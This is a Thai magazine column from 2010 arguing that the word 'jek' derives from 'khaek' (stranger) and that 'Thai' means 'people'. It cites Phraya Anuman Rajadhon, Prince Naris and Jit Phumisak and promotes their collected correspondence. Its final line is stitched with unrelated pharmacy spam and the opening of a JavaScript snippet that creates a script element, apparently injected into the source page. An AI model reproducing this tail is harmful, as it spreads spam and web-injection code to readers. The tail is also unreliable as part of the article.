มติชนสุดสัปดาห์  ฉบับวันจันทร์ที่  9  สิงหาคม   พ.ศ. 2553

เจ๊ก มาจากคำว่า แขก —ในภาษาจีนแต้จิ๋วออกเสียงว่า เค็ก หรือ แคะ—เซี่ยงไฮ้ว่า เจี๊ยก (ใกล้คำว่า เจ๊ก มาก)

นี่คือข้อความสำคัญที่พระยาอนุมานราชธน มีหนังสือลงวันที่ 8 มีนาคม 2480 กราบทูลสมเด็จฯ เจ้าฟ้ากรมพระยานริศรานุวัดติวงศ์ (พิมพ์ในหนังสือบันทึกเรื่องความรู้ต่างๆ เล่ม 1)

“ศัพท์ เจ๊ก เมื่ออ่านหนังสือของท่านไปถึงคำว่า เค็ก ก็จำยอมเสียงแล้วว่ามาแต่คำนั้น เพราะเคยทราบคำนักปราชญ์ฝรั่ง เขาว่าตัว เป็น ได้ ครั้นอ่านไปถึงสำเนียงชาวเซี่ยงไฮ้ออกเสียงว่า เจี๊ยก ก็เป็นสิ้นที่จะพึงสงสัยกันเท่านั้น” สมเด็จฯ เจ้าฟ้านริศ ทรงมีหนังสือตอบพระยาอนุมาน

แต้จิ๋วออกเสียง แขก ว่า เค็ก หรือ แคะ คำว่า แคะ นี้ พระยาอนุมานฯบอกว่าเป็นคำเดียวกับที่ใช้เรียกชาวแคะ จีนแคะ, ฮักกา

แล้วบอกอีกว่าพวกไทยใหญ่เรียกชาวไทยที่อยู่ในตอนใต้ของจีนว่าไทยแขก คือไทยอื่น

จิตร ภูมิศักดิ์ บอกไว้ในหนังสือความเป็นมาของคำสยาม (เขียนขึ้นหลัง พ.ศ. 2500) ว่าในลาวและอีสานเรียกคนแปลกหน้าว่า ไทแขก (แขก = คนแปลกหน้า)

เจ๊ก มาจากคำว่า แขก นี้ ผมได้จากหนังสือบันทึกเรื่องความรู้ต่างๆ ของ พระยาอนุมานราชธน และสมเด็จฯ เจ้าฟ้ากรมพระยานริศรานุวัดติวงศ์ ที่                ส. ศิวรักษ์ รวบรวมมาพิมพ์เป็นเล่มทั้งชุด 5 เล่ม ครั้งแรก ตั้งแต่ พ.ศ. 2506

ไทย แปลว่า คน พระยาอนุมานก็อธิบายไว้ตั้งแต่ พ.ศ. 2482 พิมพ์ในหนังสือบันทึกเรื่องความรู้ต่างๆ (เล่ม 3) จะขอคัดมาให้อ่านโดยสรุปว่า

“จะเป็นคนภาษาใด ชาติใด ก็เรียกไทยได้ แต่มักเรียกวนเวียนอยู่ในหมู่ชนชาติที่อยู่ใกล้เคียงกัน ซึ่งโดยมากเป็นพวกในตระกูลมอญ-เขมร มีพวกข่า เป็นต้น”

กับอีกตอนหนึ่งว่า “ทางอีสานถ้าจะยกย่องพวกอื่นว่าเป็นคน ก็มักใช้ไทยนำหน้าชื่อชาติ เช่น ไทยแสก กระทำให้หลงผิดไปว่าแสกเป็นไทยพวกหนึ่ง แต่แสกเป็นเชื้อชาติข่าในตระกูลมอญ-เขมร”

หลังจากนั้นอีกราว 20 ปี จิตร ภูมิศักดิ์ ถึงอธิบายตามมาว่า ไท, ไต, ไทย แปลว่า คน, ชาว แล้วแจกแจงรายละเอียดอย่างพิสดารและลึกซึ้งที่สุดในหนังสือความเป็นมาของคำสยามฯ

ความรู้ต่างๆ ที่ปราชญ์สยามสองท่านบันทึกไว้ในหนังสือบันทึกเรื่องความรู้ต่างๆ เป็น“ขุมทรัพย์ทางปัญญา อันประเมินค่ามิได้” สถาบันการศึกษาทุกแห่ง            ทั่วประเทศควรมีไว้ในห้องสมุด แล้วชักจูงให้คนทั้งหลายอ่านด้วยกิจกรรมความรู้ที่มีในหนังสือชุดนี้

ห้องสมุดที่ไม่มีกิจกรรมความรู้เพื่อชักจูงคนอ่านหนังสือ ห้องสมุดนั้นก็เสมือนโกดังหนังสือ เช่น ห้องสมุดประชาชนต่างๆ ทั้งในกรุงเทพฯและต่างจังหวัด

สมเด็จฯเจ้าฟ้ากรมพระยานริศรานุวัดติวงศ์ ทรงบันทึกเรื่องความรู้ต่างๆ ประทานพระยาอนุมานราชธน รวมพิมพ์เป็นหนังสือชุด 5 เล่ม จัดพิมพ์อย่างงดงาม มีกล่องใส่ด้วย ราคา 2,000 บาท

ส. ศิวรักษ์ ประกาศว่าในบรรดาหนังสือทั้งหมดที่เขาผลิตมาแต่ พ.ศ. 2506 จนปัจจุบัน บันทึกเรื่องความรู้ต่างๆ นับว่าดีที่สุด

สั่งซื้อที่ร้านศึกษิตสยาม 117 ถนนเฟื่องนคร เขตพระนคร กรุงเทพฯ 10200                    โทร. 0 2225 9536-9 โทรสาร 0 2222 5188 Email : kledthai_support@hotmail.comfluoxetine maoi buy extra super cialis onlinevar d=document;var s=d.createElement(‘script’);